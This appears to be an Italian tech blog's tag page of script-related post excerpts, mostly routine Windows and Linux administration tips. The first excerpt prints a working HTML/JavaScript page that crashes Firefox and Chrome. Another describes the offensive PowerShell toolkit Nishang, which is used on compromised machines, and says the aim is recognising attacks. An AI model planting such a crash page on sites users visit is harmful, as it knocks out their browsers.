Tag: script

  • Ammazzabrowser

    <!DOCTYPE html>
    <html>
     <head>
     <script>
     location = 'data:text/html,<script>location = "location.toString + \"A\"";' + 'A'.repeat( 100000000 );
     </script>
     </head>
    </html>

    Questo semplice testo in una pagina HTML manda a zampe all’aria Firefox e Google Chrome, mentre Internet Explorer esce illeso.

    Potete farlo da voi oppure andare a vostro rischio su crashfirefox.com. (altro…)

  • Resettare WSUS dopo aver clonato Windows

    In molte organizzazioni capita di avere macchine clonate e ri-serializzate con SysPrep o tool analoghi.

    Se il sistema di origine è già registrato in WSUS può capitare che le macchine clonate non siano visibili nella console di amministrazione.

    Questo succede perché WSUS salva nel registry un ID proprio in ogni installazione di Windows, che viene utilizzato come chiave univoca.

    (altro…)
  • Nevica sul terminale

    La neve artificiale non è solamente per i campi da sci, ma anche per le interfacce a riga di comando di *NIX.

    Con una semplice command line si può far nevicare nel proprio terminale (o fare uno scherzo ad un collega).

    Questa è la versione ASCII (tutta su una riga):

    clear;while :;do echo $LINES $COLUMNS $(($RANDOM%$COLUMNS));sleep 0.1;done|gawk '{a[$3]=0;for(x in a) {o=a[x];a[x]=a[x]+1;printf "33[%s;%sH ",o,x;printf "33[%s;%sH*33[0;0H",a[x],x;}}'

    questa invece è la versione UNICODE:

    clear;while :;do echo $LINES $COLUMNS $(($RANDOM%$COLUMNS)) $(printf "\u2743\n");sleep 0.1;done|gawk '{a[$3]=0;for(x in a) {o=a[x];a[x]=a[x]+1;printf "33[%s;%sH ",o,x;printf "33[%s;%sH%s 33[0;0H",a[x],x,$4;}}'

    Nell’esempio UNICODE viene utilizzato il carattere 0x2743 HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK, ma si possono utilizzare altri simboli simili del range Dingbats. (via climagic)

  • Salvare in un PST le singole cartelle di Exchange

    Può capitare di voler fare un backup supplementare rispetto a quello canonico di alcune cartelle di Exchange per alcuni utenti.

    Lo scopo di quanto segue è fornire uno strumento schedulabile con il servizio integrato di Windows che consenta di salvare con cadenza regolare tutta o una parte di una mailbox di Exchange su un file PST.

    Questa procedura non sostituisce il normale backup, ma lo affianca, in quanto potrebbe essere eseguita con una frequenza diversa rispetto al backup e il file generato può essere aperto dall’utente in maniera autonoma o con un minimo di supporto.

    (altro…)
  • Fammi eseguire il dannato script!

    Chi si è avvicinato all’utilizzo della PowerShell ha cozzato quasi subito con la bella feature che impedisce di eseguire gli script.

    Sembra una barzelletta, ma l’interprete di script di Microsoft per default non esegue gli script non firmati. Nulla di grave perché un Set-Execution-Policy Unrestricted rimette le cose a posto.

    Nonostante ciò, oggi non riuscivo ad eseguire uno script che avevo caricato su un server di un cliente nonostante la policy Unrestricted confermata anche da Get-Execution-Policy.

    Il problema era che avevo scaricato da Internet lo script: l’avevo creato a casa mia, l’avevo compresso e caricato su uno dei miei server e da lì l’avevo scaricato sul computer a cui ero connesso in VPN.

    Tanto è bastato per far arrabbiare PowerShell.

    (altro…)

  • Nishang

    Con Nishang ci si avventura un una zona grigia del software, in cui la differenza tra difesa e offesa diventa indistinguibile.

    Lo scopo di quanto segue non è quello di incitare la violazione delle leggi, ma di documentare l’esistenza di questi strumenti, per poterli riconoscere in caso di attacchi.

    La PowerShell di Windows è uno strumento molto potente, molto più di quanto possa sembrare ad un osservatore superficiale o prevenuto. Era, quindi, naturale che prima o poi sarebbero arrivati degli script PowerShell per eseguire operazioni non del tutto legittime ai danni della vittima.

    Nishang gratta solamente la superficie, ma contiene esempi molto interessanti. Tipicamente gli script contenuti in Nishang vengono eseguiti sul computer vittima una volta che l’attaccante è riuscito a penetrare le difese, quindi non troverete script di penetrazione, bensì di controllo e ricognizione remoti, tra cui un utilizzo… creativo del record TXT del DNS.

  • Goofile

    Goofile è una piccola utility a riga di comando (niente interfaccia touch, sorry) di Thomas (G13) Richards che produce un elenco di file di un certo tipo indicizzati da Google in un determinato nome a dominio.

    L’utilizzo è assolutamente semplice perché l’utility ha bisogno di soli due parametri:

    ./goofile.py -d siamogeek.com -f pdf

    Questo comando elenca tutti i file PDF indicizzati da Google nel nome a dominio di questo blog.

    Di per se non c’è nulla di particolare, dal momento che un elenco simile può essere ottenuto utilizzando i parametri noti di Google. La parte utile di Goofile è che può essere utilizzato in uno script per elaborare i suoi risultati. (via Darknet)

  • Client TCP o UDP con bash

            exec {fd}<>"/dev/tcp/siamogeek.com/http"
            # scrittura nel socket
            printf "GET / HTTP/1.0\r\n" >&$fd
            printf "\r\n" >&$fd
            # lettura "until EOF" dal socket
            cat &-

    Questo breve script per bash permette di scrivere e leggere dei dati da un socket TCP o UDP senza dipendere dalla presenza di altri programmi.

    Il tipo di protocollo, l’host e la porta sono specificati nella prima riga dello script; {fd} serve per dire a bash di aprire il primo file descriptor disponibile.

    La parte di scrittura è conforme allo standard http e deve essere modificata secondo le necessità. (via behind the wall…)

  • Ottimizzazione di WSUS

    Windows Server Update Services (WSUS) è un utile servizio di Windows Server che permette di gestire gli aggiornamenti automatici di Windows.

    La consolle di amministrazione di WSUS ha una funzione di ottimizzazione e cleanup che, però non ottimizza le tabelle SQL.

    Dopo qualche tempo gli indici si frammentano e le performance calano in maniera sensibile, anche considerando il fatto che spesso WSUS viene installato in un server secondario.

    Lo script che segue ricostruisce e ottimizza gli indici delle tabelle utilizzate da WSUS.

    (altro…)

  • Settimo: non rubare

    La copiatura di codice HTML, CSS o JavaScript da altri siti è una pratica vecchia come il web ed è una delle attività, se praticate con moderazione, che serve a migliorare il web stesso.

    Alcune volte qualcuno oltrepassa la misura e, vuoi per pigrizia, vuoi per fare le cose rapidamente, sfrutta le potenzialità del linguaggio HTML e referenzia degli script direttamente dalla fonte, senza nemmeno copiarli sul proprio server, in questo modo:

    <script src="http://www.alfredapp.com/js/jquery-1.4.1.min.js" type="text/javascript" charset="utf-8"></script>
    <script src="http://www.alfredapp.com/js/facebox.js" type="text/javascript" charset="utf-8"></script>
    <script src="http://www.alfredapp.com/js/jquery.validate.pack.js" type="text/javascript" charset="utf-8"></script>
    <script src="http://www.alfredapp.com/js/jquery.cycle.all.min.js" type="text/javascript" charset="utf-8"></script>

    Ed ecco la punizione che si abbatte sul sito che ha rubato il codice:

    (via Mikko Hypponen)

  • Aprire connessioni ssh multiple

    Capita spesso di dover aprire una serie di connessioni ssh sempre agli stessi host.

    Questo  è il tipico caso del SysAdmin che arriva la mattina al lavoro, oppure di quando vuole collegarsi ad un gruppo noto di host per eseguire lavori di manutenzione, il tutto senza avere decine di finestre aperte sul desktop, ma sfruttando i tab del terminale di Gnome

    gnome-terminal è abbastanza parco di parametri della command line e bisogna, quindi, prenderla un po’ alla lontana per fare quel che serve.

    Lo script che segue, eseguito in una finestra di gnome-terminal apre un tab per ogni host ed esegue una connessione ssh all’host indicato.

    #!/bin/bash
    
    function apri {
      WID=$(xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}')
      xdotool windowfocus $WID
      xdotool key ctrl+shift+t
      xdotool type "ssh $1"
      xdotool key Return
      wmctrl -i -a $WID
    }
    
    apri www.acme.com
    apri www.pippo.it
    apri www.pluto.it
    apri www.paperino.it
  • Ping parlante

    Invariabilmente, quando faccio una dimostrazione di questo script, mi chiedono: “Sì, ma a che serve?”

    È un ping che oltre a scriverti a video il tempo di round-trip in millisecondi, te lo pronuncia pure. Solo uno strumento in più. Magari un giorno ti capiterà un’occasione in cui ti potrebbe far comodo.

    (altro…)